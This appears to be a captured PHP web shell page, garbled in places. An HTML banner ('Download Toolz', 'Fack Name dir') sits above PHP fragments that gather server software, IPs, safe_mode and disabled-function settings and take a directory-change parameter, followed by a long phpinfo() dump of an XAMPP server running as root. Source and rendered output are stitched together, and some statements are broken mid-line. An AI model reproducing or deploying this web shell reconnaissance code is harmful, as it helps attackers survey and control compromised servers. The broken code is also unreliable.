<p align="right"></p><body bgcolor="#FFFFFF">

</fieldset>
<p align="center">
</p>
<p align="center"><font color="#ff0000" face="Webdings" size="6">!</font><small><a
href="" style="text-decoration: none;

font-weight: 700;

"><font
color="#dadada" face="Times New Roman" size="5"><small>Download Toolz</small></font></a></small><font
color="#ff0000" face="Webdings" size="6">!</font>
</p>

<p align="center">Fack Name dir:

</p>
</p>


error_reporting(0);
$info = $_SERVER['SERVER_SOFTWARE'];
$site = getenv("HTTP_HOST");
$page = $_SERVER['SCRIPT_NAME'];
$sname = $_SERVER['SERVER_NAME'];
$uname = Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64;
$smod = ini_get('safe_mode');
$disfunc = ini_get('disable_functions');
$yourip = $_SERVER['REMOTE_ADDR'];
$serverip = $_SERVER['SERVER_ADDR'];
$version = phpversion();
$ccc = realpath($_GET['chdir'])."/";
if(isset($_POST['phpinfo'])) { die( phpinfo()
PHP logo

PHP Version 7.2.12

System Linux Beneri 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64
Build Date Nov 14 2018 22:25:43
Configure Command './configure' '--prefix=/opt/lampp' '--with-apxs2=/opt/lampp/bin/apxs' '--with-config-file-path=/opt/lampp/etc' '--with-mysql=mysqlnd' '--enable-inline-optimization' '--disable-debug' '--enable-bcmath' '--enable-calendar' '--enable-ctype' '--enable-ftp' '--enable-gd-native-ttf' '--enable-magic-quotes' '--enable-shmop' '--disable-sigchild' '--enable-sysvsem' '--enable-sysvshm' '--enable-wddx' '--with-gdbm=/opt/lampp' '--with-jpeg-dir=/opt/lampp' '--with-png-dir=/opt/lampp' '--with-freetype-dir=/opt/lampp' '--with-zlib=yes' '--with-zlib-dir=/opt/lampp' '--with-openssl=/opt/lampp' '--with-xsl=/opt/lampp' '--with-ldap=/opt/lampp' '--with-gd' '--with-imap=/bitnami/xamppunixinstaller72stack-linux-x64/src/imap-2007e' '--with-imap-ssl' '--with-gettext=/opt/lampp' '--with-mssql=shared,/opt/lampp' '--with-pdo-dblib=shared,/opt/lampp' '--with-sybase-ct=/opt/lampp' '--with-mysql-sock=/opt/lampp/var/mysql/mysql.sock' '--with-mcrypt=/opt/lampp' '--with-mhash=/opt/lampp' '--enable-sockets' '--enable-mbstring=all' '--with-curl=/opt/lampp' '--enable-mbregex' '--enable-zend-multibyte' '--enable-exif' '--with-bz2=/opt/lampp' '--with-sqlite=shared,/opt/lampp' '--with-sqlite3=/opt/lampp' '--with-libxml-dir=/opt/lampp' '--enable-soap' '--with-xmlrpc' '--enable-pcntl' '--with-mysqli=mysqlnd' '--with-pgsql=shared,/opt/lampp/' '--with-iconv=/opt/lampp' '--with-pdo-mysql=mysqlnd' '--with-pdo-pgsql=/opt/lampp/postgresql' '--with-pdo_sqlite=/opt/lampp' '--with-icu-dir=/opt/lampp' '--enable-fileinfo' '--enable-phar' '--enable-zip' '--enable-intl' '--disable-huge-code-pages'
Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /opt/lampp/etc
Loaded Configuration File /opt/lampp/etc/php.ini
Scan this dir for additional .ini files (none)
Additional .ini files parsed (none)
PHP API 20170718
PHP Extension 20170718
Zend Extension 320170718
Zend Extension Build API320170718,NTS
PHP Extension Build API20170718,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support provided by mbstring
IPv6 Support enabled
DTrace Support disabled
Registered PHP Streamshttps, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filterszlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
Zend logo This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

Configuration

apache2handler

Apache Version Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
Apache API Version 20120211
Server Administrator you@example.com
Hostname:Port localhost:0
User/Group daemon(1)/1
Max Requests Per Child: 0 - Keep Alive: on - Max Per Connection: 100
Timeouts Connection: 300 - Keep-Alive: 5
Virtual Server No
Server Root /opt/lampp
Loaded Modules core mod_so http_core prefork mod_authn_file mod_authn_dbm mod_authn_anon mod_authn_dbd mod_authn_socache mod_authn_core mod_authz_host mod_authz_groupfile mod_authz_user mod_authz_dbm mod_authz_owner mod_authz_dbd mod_authz_core mod_authnz_ldap mod_access_compat mod_auth_basic mod_auth_form mod_auth_digest mod_allowmethods mod_file_cache mod_cache mod_cache_disk mod_socache_shmcb mod_socache_dbm mod_socache_memcache mod_dbd mod_bucketeer mod_dumpio mod_echo mod_case_filter mod_case_filter_in mod_buffer mod_ratelimit mod_reqtimeout mod_ext_filter mod_request mod_include mod_filter mod_substitute mod_sed mod_charset_lite mod_deflate mod_mime util_ldap mod_log_config mod_log_debug mod_logio mod_env mod_mime_magic mod_cern_meta mod_expires mod_headers mod_usertrack mod_unique_id mod_setenvif mod_version mod_remoteip mod_proxy mod_proxy_connect mod_proxy_ftp mod_proxy_http mod_proxy_fcgi mod_proxy_scgi mod_proxy_ajp mod_proxy_balancer mod_proxy_express mod_session mod_session_cookie mod_session_dbd mod_slotmem_shm mod_ssl mod_lbmethod_byrequests mod_lbmethod_bytraffic mod_lbmethod_bybusyness mod_lbmethod_heartbeat mod_unixd mod_dav mod_status mod_autoindex mod_info mod_suexec mod_cgi mod_cgid mod_dav_fs mod_vhost_alias mod_negotiation mod_dir mod_actions mod_speling mod_userdir mod_alias mod_rewrite mod_php7 mod_perl
DirectiveLocal ValueMaster Value
engine11
last_modified00
xbithack00

Apache Environment

VariableValue
UNIQUE_ID YDlOkssB3wvo4Pi5fDI0rwAAAAA
HTTP_HOST localhost
HTTP_USER_AGENT Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE en-US,en;q=0.5
HTTP_ACCEPT_ENCODING gzip, deflate
HTTP_CONNECTION keep-alive
HTTP_UPGRADE_INSECURE_REQUESTS 1
HTTP_CACHE_CONTROL max-age=0
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LD_LIBRARY_PATH /opt/lampp/lib:/opt/lampp/lib
SERVER_SIGNATURE no value
SERVER_SOFTWARE Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
SERVER_NAME localhost
SERVER_ADDR 127.0.0.1
SERVER_PORT 80
REMOTE_ADDR 127.0.0.1
DOCUMENT_ROOT /opt/lampp/htdocs
REQUEST_SCHEME http
CONTEXT_PREFIX no value
CONTEXT_DOCUMENT_ROOT /opt/lampp/htdocs
SERVER_ADMIN you@example.com
SCRIPT_FILENAME /opt/lampp/htdocs/test.php
REMOTE_PORT 35610
GATEWAY_INTERFACE CGI/1.1
SERVER_PROTOCOL HTTP/1.1
REQUEST_METHOD GET
QUERY_STRING no value
REQUEST_URI /test.php
SCRIPT_NAME /test.php

HTTP Headers Information

HTTP Request Headers
HTTP Request GET /test.php HTTP/1.1
Host localhost
User-Agent Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language en-US,en;q=0.5
Accept-Encoding gzip, deflate
Connection keep-alive
Upgrade-Insecure-Requests 1
Cache-Control max-age=0
HTTP Response Headers
X-Powered-By PHP/7.2.12

bcmath

BCMath support enabled
DirectiveLocal ValueMaster Value
bcmath.scale00

bz2

BZip2 Support Enabled
Stream Wrapper support compress.bzip2://
Stream Filter support bzip2.decompress, bzip2.compress
BZip2 Version 1.0.6, 6-Sept-2010

calendar

Calendar support enabled

Core

PHP Version 7.2.12
DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOffOff
arg_separator.input&&
arg_separator.output&&
auto_append_fileno valueno value
auto_globals_jitOnOn
auto_prepend_fileno valueno value
browscapno valueno value
default_charsetUTF-8UTF-8
default_mimetypetext/htmltext/html
disable_classesno valueno value
disable_functionsno valueno value
display_errorsOnOn
display_startup_errorsOnOn
doc_rootno valueno value
docref_extno valueno value
docref_rootno valueno value
enable_dlOffOff
enable_post_data_readingOnOn
error_append_stringno valueno value
error_log/opt/lampp/logs/php_error_log/opt/lampp/logs/php_error_log
error_prepend_stringno valueno value
error_reporting2252722527
expose_phpOnOn
extension_dir/opt/lampp/lib/php/extensions/no-debug-non-zts-20170718/opt/lampp/lib/php/extensions/no-debug-non-zts-20170718
file_uploadsOnOn
hard_timeout22
highlight.comment#FF8000#FF8000
highlight.default#0000BB#0000BB
highlight.html#000000#000000
highlight.keyword#007700#007700
highlight.string#DD0000#DD0000
html_errorsOnOn
ignore_repeated_errorsOffOff
ignore_repeated_sourceOffOff
ignore_user_abortOffOff
implicit_flushOffOff
include_path.:/opt/lampp/lib/php.:/opt/lampp/lib/php
input_encodingno valueno value
internal_encodingno valueno value
log_errorsOnOn
log_errors_max_len10241024
mail.add_x_headerOnOn
mail.force_extra_parametersno valueno value
mail.logno valueno value
max_execution_time60006000
max_file_uploads2020
max_input_nesting_level6464
max_input_time60006000
max_input_vars10001000
memory_limit1000M1000M
open_basedirno valueno value
output_buffering40964096
output_encodingno valueno value
output_handlerno valueno value
post_max_size128M128M
precision1414
realpath_cache_size4096K4096K
realpath_cache_ttl120120
register_argc_argvOffOff
report_memleaksOnOn
report_zend_debugOnOn
request_orderGPGP
sendmail_fromno valueno value
sendmail_path -t -i  -t -i 
serialize_precision100100
short_open_tagOnOn
SMTPlocalhostlocalhost
smtp_port2525
sys_temp_dirno valueno value
track_errorsOnOn
unserialize_callback_funcno valueno value
upload_max_filesize128M128M
upload_tmp_dir/opt/lampp/temp//opt/lampp/temp/
user_dirno valueno value
user_ini.cache_ttl300300
user_ini.filename.user.ini.user.ini
variables_orderGPCSGPCS
xmlrpc_error_number00
xmlrpc_errorsOffOff
zend.assertions11
zend.detect_unicodeOnOn
zend.enable_gcOnOn
zend.multibyteOffOff
zend.script_encodingno valueno value
zend.signal_checkOffOff

ctype

ctype functions enabled

curl

cURL support enabled
cURL Information 7.45.0
Age 3
Features
AsynchDNS No
CharConv No
Debug No
GSS-Negotiate No
IDN No
IPv6 Yes
krb4 No
Largefile Yes
libz Yes
NTLM Yes
NTLMWB Yes
SPNEGO No
SSL Yes
SSPI No
TLS-SRP Yes
HTTP2 No
GSSAPI No
KERBEROS5 No
UNIX_SOCKETS Yes
Protocols dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtsp, smb, smbs, smtp, smtps, telnet, tftp
Host x86_64-pc-linux-gnu
SSL Version OpenSSL/1.0.2p
ZLib Version 1.2.11

date

date/time support enabled
timelib version 2017.08
"Olson" Timezone Database Version 2018.6
Timezone Database internal
Default timezone Europe/Berlin
DirectiveLocal ValueMaster Value
date.default_latitude31.766731.7667
date.default_longitude35.233335.2333
date.sunrise_zenith90.58333390.583333
date.sunset_zenith90.58333390.583333
date.timezoneEurope/BerlinEurope/Berlin

dba

DBA support enabled
Supported handlers gdbm cdb cdb_make inifile flatfile
DirectiveLocal ValueMaster Value
dba.default_handlerflatfileflatfile

dom

DOM/XML enabled
DOM/XML API Version 20031129
libxml Version 2.9.4
HTML Support enabled
XPath Support enabled
XPointer Support enabled
Schema Support enabled
RelaxNG Support enabled

exif

EXIF Support enabled
EXIF Version 7.2.12
Supported EXIF Version 0220
Supported filetypes JPEG, TIFF
Multibyte decoding support using mbstring enabled
Extended EXIF tag formats Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
DirectiveLocal ValueMaster Value
exif.decode_jis_intelJISJIS
exif.decode_jis_motorolaJISJIS
exif.decode_unicode_intelUCS-2LEUCS-2LE
exif.decode_unicode_motorolaUCS-2BEUCS-2BE
exif.encode_jisno valueno value
exif.encode_unicodeISO-8859-15ISO-8859-15

fileinfo

fileinfo support enabled
version 1.0.5
libmagic 531

filter

Input Validation and Filtering enabled
Revision $Id: 5a34caaa246b9df197f4b43af8ac66a07464fe4b $
DirectiveLocal ValueMaster Value
filter.defaultunsafe_rawunsafe_raw
filter.default_flagsno valueno value

ftp

FTP support enabled
FTPS support enabled

gd

GD Support enabled
GD Version bundled (2.1.0 compatible)
FreeType Support enabled
FreeType Linkage with freetype
FreeType Version 2.4.8
GIF Read Support enabled
GIF Create Support enabled
JPEG Support enabled
libJPEG Version 8
PNG Support enabled
libPNG Version 1.5.26
WBMP Support enabled
XBM Support enabled
DirectiveLocal ValueMaster Value
gd.jpeg_ignore_warning11

gettext

GetText Support enabled

hash

hash support enabled
Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
MHASH support Enabled
MHASH API Version Emulated Support

iconv

iconv support enabled
iconv implementation glibc
iconv library version 1.15
DirectiveLocal ValueMaster Value
iconv.input_encodingno valueno value
iconv.internal_encodingno valueno value
iconv.output_encodingno valueno value

imap

IMAP c-Client Version 2007e
SSL Support enabled

intl

Internationalization supportenabled
version 1.1.0
ICU version 4.8.1.1
ICU Data version 4.8.1
ICU TZData version 2011k
ICU Unicode version 6.0
DirectiveLocal ValueMaster Value
intl.default_localeno valueno value
intl.error_level00
intl.use_exceptions00

json

json support enabled
json version 1.6.0

ldap

LDAP Support enabled
RCS Version $Id: 3839f871a91c293a52322c63329c68db23a0290a $
Total Links 0/unlimited
API Version 3001
Vendor Name OpenLDAP
Vendor Version 20421
DirectiveLocal ValueMaster Value
ldap.max_linksUnlimitedUnlimited

libxml

libXML support active
libXML Compiled Version 2.9.4
libXML Loaded Version 20904
libXML streams enabled

mbstring

Multibyte Support enabled
Multibyte string engine libmbfl
HTTP input encoding translation disabled
libmbfl version 1.3.2
oniguruma version 6.3.0
mbstring extension makes use of "streamable kanji code filter and converter", which is distributed under the GNU Lesser General Public License version 2.1.
Multibyte (japanese) regex support enabled
Multibyte regex (oniguruma) backtrack check On
Multibyte regex (oniguruma) version 6.3.0
DirectiveLocal ValueMaster Value
mbstring.detect_orderno valueno value
mbstring.encoding_translationOffOff
mbstring.func_overload00
mbstring.http_inputno valueno value
mbstring.http_outputno valueno value
mbstring.http_output_conv_mimetypes^(text/|application/xhtml\+xml)^(text/|application/xhtml\+xml)
mbstring.internal_encodingno valueno value
mbstring.languageneutralneutral
mbstring.strict_detectionOffOff
mbstring.substitute_characterno valueno value

mysqli

MysqlI Supportenabled
Client API library version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
Active Persistent Links 0
Inactive Persistent Links 0
Active Links 0
DirectiveLocal ValueMaster Value
mysqli.allow_local_infileOnOn
mysqli.allow_persistentOnOn
mysqli.default_hostno valueno value
mysqli.default_port33063306
mysqli.default_pwno valueno value
mysqli.default_socket/opt/lampp/var/mysql/mysql.sock/opt/lampp/var/mysql/mysql.sock
mysqli.default_userno valueno value
mysqli.max_linksUnlimitedUnlimited
mysqli.max_persistentUnlimitedUnlimited
mysqli.reconnectOffOff
mysqli.rollback_on_cached_plinkOffOff

mysqlnd

mysqlndenabled
Version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
Compression supported
core SSL supported
extended SSL supported
Command buffer size 4096
Read buffer size 32768
Read timeout 86400
Collecting statistics Yes
Collecting memory statistics Yes
Tracing n/a
Loaded plugins mysqlnd,debug_trace,auth_plugin_mysql_native_password,auth_plugin_mysql_clear_password,auth_plugin_sha256_password
API Extensions mysqli,pdo_mysql
mysqlnd statistics
bytes_sent 0
bytes_received 0
packets_sent 0
packets_received 0
protocol_overhead_in 0
protocol_overhead_out 0
bytes_received_ok_packet 0
bytes_received_eof_packet 0
bytes_received_rset_header_packet 0
bytes_received_rset_field_meta_packet 0
bytes_received_rset_row_packet 0
bytes_received_prepare_response_packet 0
bytes_received_change_user_packet 0
packets_sent_command 0
packets_received_ok 0
packets_received_eof 0
packets_received_rset_header 0
packets_received_rset_field_meta 0
packets_received_rset_row 0
packets_received_prepare_response 0
packets_received_change_user 0
result_set_queries 0
non_result_set_queries 0
no_index_used 0
bad_index_used 0
slow_queries 0
buffered_sets 0
unbuffered_sets 0
ps_buffered_sets 0
ps_unbuffered_sets 0
flushed_normal_sets 0
flushed_ps_sets 0
ps_prepared_never_executed 0
ps_prepared_once_executed 0
rows_fetched_from_server_normal 0
rows_fetched_from_server_ps 0
rows_buffered_from_client_normal 0
rows_buffered_from_client_ps 0
rows_fetched_from_client_normal_buffered 0
rows_fetched_from_client_normal_unbuffered 0
rows_fetched_from_client_ps_buffered 0
rows_fetched_from_client_ps_unbuffered 0
rows_fetched_from_client_ps_cursor 0
rows_affected_normal 0
rows_affected_ps 0
rows_skipped_normal 0
rows_skipped_ps 0
copy_on_write_saved 0
copy_on_write_performed 0
command_buffer_too_small 0
connect_success 0
connect_failure 0
connection_reused 0
reconnect 0
pconnect_success 0
active_connections 0
active_persistent_connections 0
explicit_close 0
implicit_close 0
disconnect_close 0
in_middle_of_command_close 0
explicit_free_result 0
implicit_free_result 0
explicit_stmt_close 0
implicit_stmt_close 0
mem_emalloc_count 0
mem_emalloc_amount 0
mem_ecalloc_count 0
mem_ecalloc_amount 0
mem_erealloc_count 0
mem_erealloc_amount 0
mem_efree_count 0
mem_efree_amount 0
mem_malloc_count 0
mem_malloc_amount 0
mem_calloc_count 0
mem_calloc_amount 0
mem_realloc_count 0
mem_realloc_amount 0
mem_free_count 0
mem_free_amount 0
mem_estrndup_count 0
mem_strndup_count 0
mem_estrdup_count 0
mem_strdup_count 0
mem_edupl_count 0
mem_dupl_count 0
proto_text_fetched_null 0
proto_text_fetched_bit 0
proto_text_fetched_tinyint 0
proto_text_fetched_short 0
proto_text_fetched_int24 0
proto_text_fetched_int 0
proto_text_fetched_bigint 0
proto_text_fetched_decimal 0
proto_text_fetched_float 0
proto_text_fetched_double 0
proto_text_fetched_date 0
proto_text_fetched_year 0
proto_text_fetched_time 0
proto_text_fetched_datetime 0
proto_text_fetched_timestamp 0
proto_text_fetched_string 0
proto_text_fetched_blob 0
proto_text_fetched_enum 0
proto_text_fetched_set 0
proto_text_fetched_geometry 0
proto_text_fetched_other 0
proto_binary_fetched_null 0
proto_binary_fetched_bit 0
proto_binary_fetched_tinyint 0
proto_binary_fetched_short 0
proto_binary_fetched_int24 0
proto_binary_fetched_int 0
proto_binary_fetched_bigint 0
proto_binary_fetched_decimal 0
proto_binary_fetched_float 0
proto_binary_fetched_double 0
proto_binary_fetched_date 0
proto_binary_fetched_year 0
proto_binary_fetched_time 0
proto_binary_fetched_datetime 0
proto_binary_fetched_timestamp 0
proto_binary_fetched_string 0
proto_binary_fetched_json 0
proto_binary_fetched_blob 0
proto_binary_fetched_enum 0
proto_binary_fetched_set 0
proto_binary_fetched_geometry 0
proto_binary_fetched_other 0
init_command_executed_count 0
init_command_failed_count 0
com_quit 0
com_init_db 0
com_query 0
com_field_list 0
com_create_db 0
com_drop_db 0
com_refresh 0
com_shutdown 0
com_statistics 0
com_process_info 0
com_connect 0
com_process_kill 0
com_debug 0
com_ping 0
com_time 0
com_delayed_insert 0
com_change_user 0
com_binlog_dump 0
com_table_dump 0
com_connect_out 0
com_register_slave 0
com_stmt_prepare 0
com_stmt_execute 0
com_stmt_send_long_data 0
com_stmt_close 0
com_stmt_reset 0
com_stmt_set_option 0
com_stmt_fetch 0
com_deamon 0
bytes_received_real_data_normal 0
bytes_received_real_data_ps 0

openssl

OpenSSL support enabled
OpenSSL Library Version OpenSSL 1.0.2p 14 Aug 2018
OpenSSL Header Version OpenSSL 1.0.2p 14 Aug 2018
Openssl default config /opt/lampp/share/openssl/openssl.cnf
DirectiveLocal ValueMaster Value
openssl.cafile/opt/lampp/share/curl/curl-ca-bundle.crt/opt/lampp/share/curl/curl-ca-bundle.crt
openssl.capathno valueno value

pcre

PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 8.41 2017-07-05
PCRE JIT Support enabled
DirectiveLocal ValueMaster Value
pcre.backtrack_limit10000001000000
pcre.jit11
pcre.recursion_limit100000100000

PDO

PDO supportenabled
PDO drivers mysql, pgsql, sqlite

pdo_mysql

PDO Driver for MySQLenabled
Client API version mysqlnd 5.0.12-dev - 20150407 - $Id: 38fea24f2847fa7519001be390c98ae0acafe387 $
DirectiveLocal ValueMaster Value
pdo_mysql.default_socket/opt/lampp/var/mysql/mysql.sock/opt/lampp/var/mysql/mysql.sock

pdo_pgsql

PDO Driver for PostgreSQLenabled
PostgreSQL(libpq) Version 9.2.4
Module version 7.2.12
Revision $Id: 9c5f356c77143981d2e905e276e439501fe0f419 $

pdo_sqlite

PDO Driver for SQLite 3.xenabled
SQLite Library 3.7.17

Phar

Phar: PHP Archive supportenabled
Phar EXT version 2.0.2
Phar API version 1.1.1
SVN revision $Id: 11c9d270a69dbd9589cbea10a0ad9731a286a147 $
Phar-based phar archives enabled
Tar-based phar archives enabled
ZIP-based phar archives enabled
gzip compression enabled
bzip2 compression enabled
OpenSSL support enabled
Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
DirectiveLocal ValueMaster Value
phar.cache_listno valueno value
phar.readonlyOnOn
phar.require_hashOnOn

posix

Revision $Id: 0a764bab332255746424a1e6cfbaaeebab998e4c $

Reflection

Reflectionenabled
Version $Id: f1096fbe817b0413895286a603375570e78fb553 $

session

Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary wddx
DirectiveLocal ValueMaster Value
session.auto_startOffOff
session.cache_expire180180
session.cache_limiternocachenocache
session.cookie_domainno valueno value
session.cookie_httponlyno valueno value
session.cookie_lifetime00
session.cookie_path//
session.cookie_secure00
session.gc_divisor10001000
session.gc_maxlifetime14401440
session.gc_probability11
session.lazy_writeOnOn
session.namePHPSESSIDPHPSESSID
session.referer_checkno valueno value
session.save_handlerfilesfiles
session.save_path/opt/lampp/temp//opt/lampp/temp/
session.serialize_handlerphpphp
session.sid_bits_per_character44
session.sid_length3232
session.upload_progress.cleanupOnOn
session.upload_progress.enabledOnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookies11
session.use_only_cookies11
session.use_strict_mode00
session.use_trans_sid00

shmop

shmop support enabled

SimpleXML

Simplexml supportenabled
Revision $Id: 341daed0ee94ea8f728bfd0ba4626e6ed365c0d1 $
Schema support enabled

soap

Soap Client enabled
Soap Server enabled
DirectiveLocal ValueMaster Value
soap.wsdl_cache11
soap.wsdl_cache_dir/tmp/tmp
soap.wsdl_cache_enabled11
soap.wsdl_cache_limit55
soap.wsdl_cache_ttl8640086400

sockets

Sockets Support enabled

SPL

SPL supportenabled
Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException

sqlite3

SQLite3 supportenabled
SQLite3 module version 7.2.12
SQLite Library 3.7.17
DirectiveLocal ValueMaster Value
sqlite3.extension_dirno valueno value

standard

Dynamic Library Support enabled
Path to sendmail -t -i
DirectiveLocal ValueMaster Value
assert.active11
assert.bail00
assert.callbackno valueno value
assert.exception00
assert.quiet_eval00
assert.warning11
auto_detect_line_endings00
default_socket_timeout6060
fromno valueno value
session.trans_sid_hostsno valueno value
session.trans_sid_tagsa=href,area=href,frame=src,form=a=href,area=href,frame=src,form=
url_rewriter.hostsno valueno value
url_rewriter.tagsa=href,area=href,frame=src,input=src,form=fakeentrya=href,area=href,frame=src,input=src,form=fakeentry
user_agentno valueno value

sysvsem

Version 7.2.12

sysvshm

Version 7.2.12

tokenizer

Tokenizer Support enabled

wddx

WDDX Supportenabled
WDDX Session Serializer enabled

xml

XML Support active
XML Namespace Support active
libxml2 Version 2.9.4

xmlreader

XMLReader enabled

xmlrpc

core library version xmlrpc-epi v. 0.51
php extension version 7.2.12
author Dan Libby
homepage http://xmlrpc-epi.sourceforge.net
open sourced by Epinions.com

xmlwriter

XMLWriter enabled

xsl

XSL enabled
libxslt Version 1.1.29
libxslt compiled against libxml Version 2.9.4
EXSLT enabled
libexslt Version 1.1.29

zip

Zip enabled
Zip version 1.15.4
Libzip version 1.1.2

zlib

ZLib Supportenabled
Stream Wrapper compress.zlib://
Stream Filter zlib.inflate, zlib.deflate
Compiled Version 1.2.11
Linked Version 1.2.11
DirectiveLocal ValueMaster Value
zlib.output_compressionOffOff
zlib.output_compression_level-1-1
zlib.output_handlerno valueno value

Additional Modules

Module Name

Environment

VariableValue
SUDO_GID 1000
MAIL /var/mail/root
USER root
LANGUAGE en_US
LC_TIME sv_SE.UTF-8
TEXTDOMAIN xampp
LD_LIBRARY_PATH /opt/lampp/lib:/opt/lampp/lib
SHLVL 1
HOME /home/beneri
de false
GETTEXT /opt/lampp/bin/gettext
LC_MONETARY sv_SE.UTF-8
COLORTERM truecolor
SUDO_UID 1000
LOGNAME root
_ /opt/lampp/bin/apachectl
USERNAME root
TERM xterm-256color
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
LC_ADDRESS sv_SE.UTF-8
DISPLAY :0
LANG en_US.UTF-8
LC_TELEPHONE sv_SE.UTF-8
LS_COLORS rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XAUTHORITY /home/beneri/.Xauthority
SUDO_COMMAND /opt/lampp/lampp start
XAMPP_OS Linux
LC_NAME sv_SE.UTF-8
